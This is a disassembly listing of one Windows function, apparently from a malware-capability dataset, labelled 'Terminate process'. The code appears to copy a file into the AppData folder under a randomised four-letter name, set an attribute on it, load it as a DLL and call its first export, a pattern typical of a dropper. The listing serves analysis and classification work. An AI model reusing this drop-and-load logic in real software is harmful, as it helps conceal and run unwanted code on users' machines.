Function at 0x407fa0
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x418af1
push eax
mov dword fs:[0], esp
sub esp, 0x528
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub.MFC42.DLL_AfxEnableControlContainer
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x330]
add esp, 4
rep stosd dword es:[edi], eax
lea eax, [esp + 0x32c]
push 0x104
push eax
push ebx
call esi
lea ecx, [esp + 0x32c]
push 0x44f8e4
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
cmp eax, ebx
jne 0x40801b
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
push 1
call dword [sym.imp.MSVCRT.dll_exit]
push ebp
lea edx, [esp + 0x434]
push 0x104
push edx
push ebx
call esi
lea eax, [esp + 0x434]
lea ecx, [esp + 0x14]
push eax
call sub.MFC42.DLL_CString::CString_2
push 0x2e
lea ecx, [esp + 0x18]
mov dword [esp + 0x544], ebx
call sub.MFC42.DLL_CString::ReverseFind
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x1c]
mov ecx, dword [ecx - 8]
sub ecx, eax
inc ecx
push ecx
push edx
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::Right
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x544], 1
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x1c]
mov byte [esp + 0x540], bl
call fcn.004170c2
push 0x2e
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::ReverseFind
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x1c]
mov ecx, dword [ecx - 8]
sub ecx, eax
sub ecx, 3
push ecx
push edx
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::Left
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x544], 2
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x1c]
mov byte [esp + 0x540], bl
call fcn.004170c2
mov edi, dword [esp + 0x14]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x24]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebp, dword [sym.imp.MSVCRT.dll_atoi]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x24]
mov byte [esp + 0x22], 0x30
push ecx
mov byte [esp + 0x27], bl
mov byte [esp + 0x24], 0x29
mov byte [esp + 0x25], bl
call ebp
add esp, 4
cmp eax, 1
jge 0x408148
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
lea edx, [esp + 0x22]
lea eax, [esp + 0x24]
push edx
push eax
call esi
test eax, eax
je 0x408148
lea ecx, [esp + 0x20]
lea edx, [esp + 0x24]
push ecx
push edx
call esi
test eax, eax
jne 0x408301
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x22d]
mov byte [esp + 0x22c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x44f884
push str.shell32.dll
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
lea ecx, [esp + 0x230]
push 0x1a
push ecx
push ebx
call eax
mov edi, 0x44f8d4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x44f8d0
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [edx + ecx + 1]
push eax
call sub.MFC42.DLL_operatornew
mov edx, eax
mov edi, 0x44f8d0
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push edx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x44f8d4
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x16]
mov byte [esp + 0x1e], 0x36
push ecx
mov byte [esp + 0x23], bl
mov byte [esp + 0x1a], 0x33
mov byte [esp + 0x1b], bl
call ebp
push eax
push 0x1a
call fcn.00407eb0
add esp, 0xc
add eax, 0x61
lea edx, [esp + 0x16]
push eax
push edx
call ebp
push eax
push 0x1a
call fcn.00407eb0
add esp, 0xc
add eax, 0x41
push eax
lea eax, [esp + 0x1e]
push eax
call ebp
push eax
push 0x1a
call fcn.00407eb0
add esp, 0xc
add eax, 0x61
lea ecx, [esp + 0x1e]
push eax
push ecx
call ebp
push eax
push 0x1a
call fcn.00407eb0
add esp, 0xc
add eax, 0x41
lea edx, [esp + 0x23c]
push eax
push edx
lea eax, [esp + 0x140]
push str._s_c_c_c_c_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0x3a]
lea edx, [esp + 0x148]
push ecx
push edx
call fcn.00407ef0
add esp, 0x28
lea eax, [esp + 0x128]
push 2
push eax
call dword [0x45038c]
lea ecx, [esp + 0x128]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push 1
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
cmp esi, ebx
je 0x4082f6
lea edx, [esp + 0x1a]
mov byte [esp + 0x1c], 0x5f
push edx
mov byte [esp + 0x21], 0x32
mov byte [esp + 0x22], bl
call ebp
add esp, 4
push eax
push 0x21200
lea eax, [esp + 0x24]
push 0x424684
push eax
call esi
cmp edi, ebx
je 0x408301
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [esp + 0x14]
mov dword [esp + 0x540], 0xffffffff
call fcn.004170c2
mov ecx, dword [esp + 0x538]
pop ebp
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x534
ret